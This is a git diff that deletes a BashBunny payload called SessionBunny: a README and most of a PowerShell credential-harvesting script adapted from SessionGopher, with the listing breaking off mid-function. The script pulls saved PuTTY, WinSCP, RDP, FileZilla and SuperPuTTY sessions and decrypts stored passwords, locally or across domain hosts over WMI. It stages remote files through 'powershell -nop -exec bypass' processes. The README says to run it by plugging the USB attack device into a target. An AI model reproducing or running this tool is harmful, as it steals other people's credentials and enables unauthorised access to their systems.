Delete SessionBunny directory
parent
e0e0be1612
commit
277db7ad36
|
@ -1,22 +0,0 @@
|
|||
**Title: SessionBunny**
|
||||
|
||||
Author: 0iphor13
|
||||
Credit for SessionGopher: Brandon Arvanaghi
|
||||
|
||||
Version: 1.0
|
||||
|
||||
**Instruction:**
|
||||
|
||||
This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP,
|
||||
Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords.
|
||||
After you recieve the information, save the items you are interested in simply on your BashBunny.
|
||||
|
||||
#
|
||||
|
||||
**Instruction:**
|
||||
|
||||
Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt
|
||||
#
|
||||
Plug in BashBunny.
|
||||
Wait for the script to finish and decide what you wanna do with the information gathered
|
||||
![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png)
|
|
@ -1,948 +0,0 @@
|
|||
function Invoke-SessionBunny
|
||||
{
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter(Position = 0, Mandatory = $False)]
|
||||
[String]
|
||||
$Computername,
|
||||
|
||||
[Parameter(Position= 1 , Mandatory = $False)]
|
||||
[String]
|
||||
$Credential,
|
||||
|
||||
[Parameter(Position= 2 , Mandatory = $False)]
|
||||
[Alias("iL")]
|
||||
[String]
|
||||
$Inputlist,
|
||||
|
||||
[Parameter(Position = 3, Mandatory = $False)]
|
||||
[Switch]
|
||||
$AllDomain,
|
||||
|
||||
[Parameter(Position = 4, Mandatory = $False)]
|
||||
[Switch]
|
||||
$Everything,
|
||||
|
||||
[Parameter(Position = 5, Mandatory = $False)]
|
||||
[Switch]
|
||||
$ExcludeDC,
|
||||
|
||||
[Parameter(Position = 6, Mandatory = $False)]
|
||||
[Switch]
|
||||
[Alias("o")]
|
||||
$OutCSV,
|
||||
|
||||
[Parameter(Position=8, Mandatory = $False)]
|
||||
[String]
|
||||
$OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."})
|
||||
)
|
||||
|
||||
Write-Output '
|
||||
o
|
||||
o
|
||||
o_
|
||||
/ ". SessionGopher
|
||||
," _-" Bunny Edition (0iphor13)
|
||||
," m m
|
||||
..+ ) Brandon Arvanaghi
|
||||
`m..m @arvanaghi | arvanaghi.com
|
||||
'
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
#clear error listing
|
||||
$Error.clear()
|
||||
if ($OutCSV) {
|
||||
Write-Verbose "Creating directory $OutputDirectory."
|
||||
New-Item -ItemType Directory $OutputDirectory | Out-Null
|
||||
New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null
|
||||
New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null
|
||||
New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null
|
||||
New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null
|
||||
New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null
|
||||
if ($Everything) {
|
||||
New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null
|
||||
New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null
|
||||
New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null
|
||||
}
|
||||
}
|
||||
|
||||
if ($Credential) {
|
||||
$Credentials = Get-Credential -Credential $Credential
|
||||
}
|
||||
|
||||
# Value for HKEY_USERS hive
|
||||
$HKU = 2147483651
|
||||
# Value for HKEY_LOCAL_MACHINE hive
|
||||
$HKLM = 2147483650
|
||||
|
||||
$PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
|
||||
$WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
|
||||
$RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers"
|
||||
|
||||
if ($Inputlist -or $AllDomain -or $ComputerName) {
|
||||
|
||||
# Whether we read from an input file or query active directory
|
||||
$Reader = ""
|
||||
|
||||
if ($AllDomain) {
|
||||
Write-Verbose "Getting member computers in the domain."
|
||||
$Reader = GetComputersFromActiveDirectory
|
||||
} elseif ($Inputlist) {
|
||||
Write-Verbose "Reading the list of targets."
|
||||
$Reader = Get-Content ((Resolve-Path $Inputlist).Path)
|
||||
} elseif ($ComputerName) {
|
||||
Write-Verbose "Setting target computer as $ComputerName."
|
||||
$Reader = $ComputerName
|
||||
}
|
||||
|
||||
$optionalCreds = @{}
|
||||
if ($Credentials) {
|
||||
$optionalCreds['Credential'] = $Credentials
|
||||
}
|
||||
|
||||
foreach ($RemoteComputer in $Reader) {
|
||||
|
||||
if ($AllDomain) {
|
||||
# Extract just the name from the System.DirectoryServices.SearchResult object
|
||||
$RemoteComputer = $RemoteComputer.Properties.name
|
||||
}
|
||||
if ($RemoteComputer) {
|
||||
Write-Output "Digging on" $RemoteComputer"..."
|
||||
|
||||
$SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'}
|
||||
|
||||
foreach ($SID in $SIDs) {
|
||||
|
||||
# Get the username for SID we discovered has saved sessions
|
||||
$MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {}
|
||||
$Source = (($RemoteComputer + "\" + $MappedUserName) -Join "")
|
||||
|
||||
# Created for each user found. Contains all sessions information for that user.
|
||||
$UserObject = New-Object PSObject
|
||||
|
||||
<#
|
||||
PuTTY: contains hostname and usernames
|
||||
SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored
|
||||
RDP: contains hostname and username of sessions
|
||||
FileZilla: hostname, username, relevant protocol information, decoded passwords if stored
|
||||
WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used
|
||||
#>
|
||||
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfRDPSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
|
||||
|
||||
# Construct tool registry/filesystem paths from SID or username
|
||||
$RDPPath = $SID + $RDPPathEnding
|
||||
$PuTTYPath = $SID + $PuTTYPathEnding
|
||||
$WinSCPPath = $SID + $WinSCPPathEnding
|
||||
$SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'"
|
||||
$FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'"
|
||||
|
||||
$RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds
|
||||
$PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds
|
||||
$WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds
|
||||
$SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
|
||||
$FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
|
||||
|
||||
# If any WinSCP saved sessions exist on this box...
|
||||
if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
|
||||
Write-Verbose "Found saved WinSCP sessions."
|
||||
# Get all sessions
|
||||
$WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames
|
||||
|
||||
foreach ($WinSCPSession in $WinSCPSessions) {
|
||||
|
||||
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
|
||||
$WinSCPSessionObject.Source = $Source
|
||||
$WinSCPSessionObject.Session = $WinSCPSession
|
||||
|
||||
$Location = $WinSCPPath + "\" + $WinSCPSession
|
||||
|
||||
$WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
|
||||
$WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue
|
||||
$WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue
|
||||
|
||||
if ($WinSCPSessionObject.Password) {
|
||||
|
||||
$MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security"
|
||||
|
||||
$MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue
|
||||
|
||||
if (!$MasterPassUsed) {
|
||||
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
|
||||
} else {
|
||||
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
|
||||
|
||||
} # For Each WinSCP Session
|
||||
|
||||
if ($ArrayOfWinSCPSessions.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "WinSCP Sessions"
|
||||
$ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # If path to WinSCP exists
|
||||
|
||||
if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
|
||||
Write-Verbose "Found saved PuTTY sessions."
|
||||
# Get all sessions
|
||||
$PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames
|
||||
|
||||
foreach ($PuTTYSession in $PuTTYSessions) {
|
||||
|
||||
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
|
||||
|
||||
$Location = $PuTTYPath + "\" + $PuTTYSession
|
||||
|
||||
$PuTTYSessionObject.Source = $Source
|
||||
$PuTTYSessionObject.Session = $PuTTYSession
|
||||
$PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
|
||||
|
||||
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
|
||||
|
||||
}
|
||||
|
||||
if ($ArrayOfPuTTYSessions.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "PuTTY Sessions"
|
||||
$ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # If PuTTY session exists
|
||||
|
||||
if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
|
||||
Write-Verbose "Found saved RDP sessions."
|
||||
# Get all sessions
|
||||
$RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames
|
||||
|
||||
foreach ($RDPSession in $RDPSessions) {
|
||||
|
||||
$RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
|
||||
|
||||
$Location = $RDPPath + "\" + $RDPSession
|
||||
|
||||
$RDPSessionObject.Source = $Source
|
||||
$RDPSessionObject.Hostname = $RDPSession
|
||||
$RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue
|
||||
|
||||
[void]$ArrayOfRDPSessions.Add($RDPSessionObject)
|
||||
|
||||
}
|
||||
|
||||
if ($ArrayOfRDPSessions.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "Microsoft RDP Sessions"
|
||||
$ArrayOfRDPSessions | Select-Object * | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # If RDP sessions exist
|
||||
|
||||
# If we find the SuperPuTTY Sessions.xml file where we would expect it
|
||||
if ($SuperPuTTYPath.Name) {
|
||||
Write-Verbose "Found SupePuTTY sessions.xml"
|
||||
$File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml"
|
||||
$FileContents = DownloadAndExtractFromRemoteRegistry $File
|
||||
|
||||
[xml]$SuperPuTTYXML = $FileContents
|
||||
(ProcessSuperPuTTYFile $SuperPuTTYXML)
|
||||
|
||||
}
|
||||
|
||||
# If we find the FileZilla sitemanager.xml file where we would expect it
|
||||
if ($FileZillaPath.Name) {
|
||||
Write-Verbose "Found FileZilaa sitemanager.xml"
|
||||
$File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml"
|
||||
$FileContents = DownloadAndExtractFromRemoteRegistry $File
|
||||
|
||||
[xml]$FileZillaXML = $FileContents
|
||||
(ProcessFileZillaFile $FileZillaXML)
|
||||
|
||||
} # FileZilla
|
||||
|
||||
} # for each SID
|
||||
|
||||
if ($Everything) {
|
||||
Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes."
|
||||
$ArrayofPPKFiles = New-Object System.Collections.ArrayList
|
||||
$ArrayofRDPFiles = New-Object System.Collections.ArrayList
|
||||
$ArrayofsdtidFiles = New-Object System.Collections.ArrayList
|
||||
|
||||
$FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name)
|
||||
|
||||
(ProcessThoroughRemote $FilePathsFound)
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Check if the error is access denied.
|
||||
$ourerror = $error[0]
|
||||
if ($ourerror.Exception.Message.Contains("Access is denied.")) {
|
||||
Write-Warning "Access Denied on $RemoteComputer"
|
||||
} elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) {
|
||||
Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?"
|
||||
} else {
|
||||
Write-Debug "$($ourerror.Exception.Message)"
|
||||
}
|
||||
}
|
||||
}# for each remote computer
|
||||
# Else, we run SessionGopher locally
|
||||
} else {
|
||||
|
||||
Write-Output "Digging on"(Hostname)"..."
|
||||
|
||||
# Aggregate all user hives in HKEY_USERS into a variable
|
||||
$UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
|
||||
|
||||
# For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
|
||||
foreach($Hive in $UserHives) {
|
||||
|
||||
# Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
|
||||
$UserObject = New-Object PSObject
|
||||
|
||||
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfPPKFiles = New-Object System.Collections.ArrayList
|
||||
$ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfRDPSessions = New-Object System.Collections.ArrayList
|
||||
$ArrayOfRDPFiles = New-Object System.Collections.ArrayList
|
||||
$ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
|
||||
|
||||
$objUser = (GetMappedSID)
|
||||
$Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
|
||||
|
||||
# Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
|
||||
$PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
|
||||
$WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
|
||||
$MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding"
|
||||
$FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml"
|
||||
$SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml"
|
||||
|
||||
if (Test-Path $FileZillaPath) {
|
||||
|
||||
[xml]$FileZillaXML = Get-Content $FileZillaPath
|
||||
(ProcessFileZillaFile $FileZillaXML)
|
||||
|
||||
}
|
||||
|
||||
if (Test-Path $SuperPuTTYPath) {
|
||||
|
||||
[xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath
|
||||
(ProcessSuperPuTTYFile $SuperPuTTYXML)
|
||||
|
||||
}
|
||||
|
||||
if (Test-Path $MicrosoftRDPPath) {
|
||||
|
||||
# Aggregates all saved sessions from that user's RDP client
|
||||
$AllRDPSessions = Get-ChildItem $MicrosoftRDPPath
|
||||
|
||||
(ProcessRDPLocal $AllRDPSessions)
|
||||
|
||||
} # If (Test-Path MicrosoftRDPPath)
|
||||
|
||||
if (Test-Path $WinSCPPath) {
|
||||
|
||||
# Aggregates all saved sessions from that user's WinSCP client
|
||||
$AllWinSCPSessions = Get-ChildItem $WinSCPPath
|
||||
|
||||
(ProcessWinSCPLocal $AllWinSCPSessions)
|
||||
|
||||
} # If (Test-Path WinSCPPath)
|
||||
|
||||
if (Test-Path $PuTTYPath) {
|
||||
|
||||
# Aggregates all saved sessions from that user's PuTTY client
|
||||
$AllPuTTYSessions = Get-ChildItem $PuTTYPath
|
||||
|
||||
(ProcessPuTTYLocal $AllPuTTYSessions)
|
||||
|
||||
} # If (Test-Path PuTTYPath)
|
||||
|
||||
} # For each Hive in UserHives
|
||||
|
||||
# If run in Thorough Mode
|
||||
if ($Everything) {
|
||||
|
||||
# Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem
|
||||
$PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
|
||||
$RDPExtensionFilesINodes = New-Object System.Collections.ArrayList
|
||||
$sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList
|
||||
|
||||
# All drives found on system in one variable
|
||||
$AllDrives = Get-PSDrive
|
||||
|
||||
(ProcessThoroughLocal $AllDrives)
|
||||
|
||||
(ProcessPPKFile $PPKExtensionFilesINodes)
|
||||
(ProcessRDPFile $RDPExtensionFilesINodes)
|
||||
(ProcesssdtidFile $sdtidExtensionFilesINodes)
|
||||
|
||||
} # If Thorough
|
||||
|
||||
} # Else -- run SessionGopher locally
|
||||
|
||||
} # Invoke-SessionGopher
|
||||
|
||||
####################################################################################
|
||||
####################################################################################
|
||||
## Registry Querying Helper Functions
|
||||
####################################################################################
|
||||
####################################################################################
|
||||
|
||||
# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
|
||||
function GetMappedSID {
|
||||
|
||||
# If getting SID from remote computer
|
||||
if ($Inputlist -or $ComputerName -or $AllDomain) {
|
||||
# Get the username for SID we discovered has saved sessions
|
||||
$SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
|
||||
$Value = "ProfileImagePath"
|
||||
|
||||
(Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
|
||||
# Else, get local SIDs
|
||||
} else {
|
||||
# Converts user SID in HKEY_USERS to username
|
||||
$SID = (Split-Path $Hive.Name -Leaf)
|
||||
$objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
|
||||
$objSID.Translate( [System.Security.Principal.NTAccount])
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function DownloadAndExtractFromRemoteRegistry($File) {
|
||||
# The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by
|
||||
# downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location
|
||||
$fullregistrypath = "HKLM:\Software\Microsoft\DRM"
|
||||
$registrydownname = "ReadMe"
|
||||
$regpath = "SOFTWARE\Microsoft\DRM"
|
||||
|
||||
# On remote system, save file to registry
|
||||
Write-Verbose "Reading remote file and writing on remote registry"
|
||||
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force'
|
||||
$remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"'
|
||||
|
||||
$null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds
|
||||
|
||||
# Sleeping to let remote system read and store file
|
||||
Start-Sleep -s 15
|
||||
|
||||
$remote_reg = ""
|
||||
|
||||
# Grab file from remote system's registry
|
||||
$remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds
|
||||
|
||||
$decoded = [System.Convert]::FromBase64String($remote_reg.sValue)
|
||||
$UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded)
|
||||
|
||||
# Removing Registry value from remote system
|
||||
$null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds
|
||||
|
||||
$UTF8decoded
|
||||
|
||||
}
|
||||
|
||||
####################################################################################
|
||||
####################################################################################
|
||||
## File Processing Helper Functions
|
||||
####################################################################################
|
||||
####################################################################################
|
||||
|
||||
function ProcessThoroughLocal($AllDrives) {
|
||||
|
||||
foreach ($Drive in $AllDrives) {
|
||||
# If the drive holds a filesystem
|
||||
if ($Drive.Provider.Name -eq "FileSystem") {
|
||||
$Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
|
||||
foreach ($Dir in $Dirs) {
|
||||
Switch ($Dir.Extension) {
|
||||
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
|
||||
".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
|
||||
".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function ProcessThoroughRemote($FilePathsFound) {
|
||||
|
||||
foreach ($FilePath in $FilePathsFound) {
|
||||
# Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File)
|
||||
$EverythingObject = "" | Select-Object -Property Source,Path
|
||||
$EverythingObject.Source = $RemoteComputer
|
||||
|
||||
$Extension = [IO.Path]::GetExtension($FilePath.Name)
|
||||
|
||||
if ($Extension -eq ".ppk") {
|
||||
$EverythingObject.Path = $FilePath.Name
|
||||
[void]$ArrayofPPKFiles.Add($EverythingObject)
|
||||
} elseif ($Extension -eq ".rdp") {
|
||||
$EverythingObject.Path = $FilePath.Name
|
||||
[void]$ArrayofRDPFiles.Add($EverythingObject)
|
||||
} elseif ($Extension -eq ".sdtid") {
|
||||
$EverythingObject.Path = $FilePath.Name
|
||||
[void]$ArrayofsdtidFiles.Add($EverythingObject)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if ($ArrayOfPPKFiles.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "PuTTY Private Key Files (.ppk)"
|
||||
$ArrayOfPPKFiles | Format-List | Out-String
|
||||
}
|
||||
}
|
||||
|
||||
if ($ArrayOfRDPFiles.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "Microsoft RDP Connection Files (.rdp)"
|
||||
$ArrayOfRDPFiles | Format-List | Out-String
|
||||
}
|
||||
}
|
||||
if ($ArrayOfsdtidFiles.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "RSA Tokens (sdtid)"
|
||||
$ArrayOfsdtidFiles | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # ProcessThoroughRemote
|
||||
|
||||
function ProcessPuTTYLocal($AllPuTTYSessions) {
|
||||
|
||||
# For each PuTTY saved session, extract the information we want
|
||||
foreach($Session in $AllPuTTYSessions) {
|
||||
|
||||
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
|
||||
|
||||
$PuTTYSessionObject.Source = $Source
|
||||
$PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
|
||||
$PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
|
||||
|
||||
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
|
||||
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
|
||||
|
||||
}
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "PuTTY Sessions"
|
||||
$ArrayOfPuTTYSessions | Format-List | Out-String
|
||||
}
|
||||
|
||||
# Add the array of PuTTY session objects to UserObject
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
|
||||
|
||||
} # ProcessPuTTYLocal
|
||||
|
||||
function ProcessRDPLocal($AllRDPSessions) {
|
||||
|
||||
# For each RDP saved session, extract the information we want
|
||||
foreach($Session in $AllRDPSessions) {
|
||||
|
||||
$PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
|
||||
|
||||
$MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
|
||||
|
||||
$MicrosoftRDPSessionObject.Source = $Source
|
||||
$MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf)
|
||||
$MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint)
|
||||
|
||||
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
|
||||
[void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject)
|
||||
|
||||
} # For each Session in AllRDPSessions
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "Microsoft Remote Desktop (RDP) Sessions"
|
||||
$ArrayOfRDPSessions | Format-List | Out-String
|
||||
}
|
||||
|
||||
# Add the array of RDP session objects to UserObject
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
|
||||
|
||||
} #ProcessRDPLocal
|
||||
|
||||
function ProcessWinSCPLocal($AllWinSCPSessions) {
|
||||
|
||||
# For each WinSCP saved session, extract the information we want
|
||||
foreach($Session in $AllWinSCPSessions) {
|
||||
|
||||
$PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
|
||||
|
||||
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
|
||||
|
||||
$WinSCPSessionObject.Source = $Source
|
||||
$WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
|
||||
$WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
|
||||
